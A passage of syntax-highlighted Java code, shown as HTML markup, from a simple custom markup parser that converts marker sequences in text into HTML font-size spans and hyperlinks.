#007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href="").append(href).append(""&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href="").append(link).append(""&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">link</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;((</span><span style="color: #0000BB">isNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">))))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;size&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(size.toString()).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">length</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;size&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'°'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(size).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">)&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Link<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;length&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;size&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style="</span><span style="color: #0000BB">font</span><span style="color: #007700">-</span><span style="color: #0000BB">size</span><span style="color: #007700">:</span><span style="color: #DD0000">").append(size.toString()).append("</span><span style="color: #0000BB">px</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">length</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;link&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">link&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;href&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href="").append(href).append(""&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href="").append(link).append(""&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">link</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">link</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;((</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">))&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Link<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: 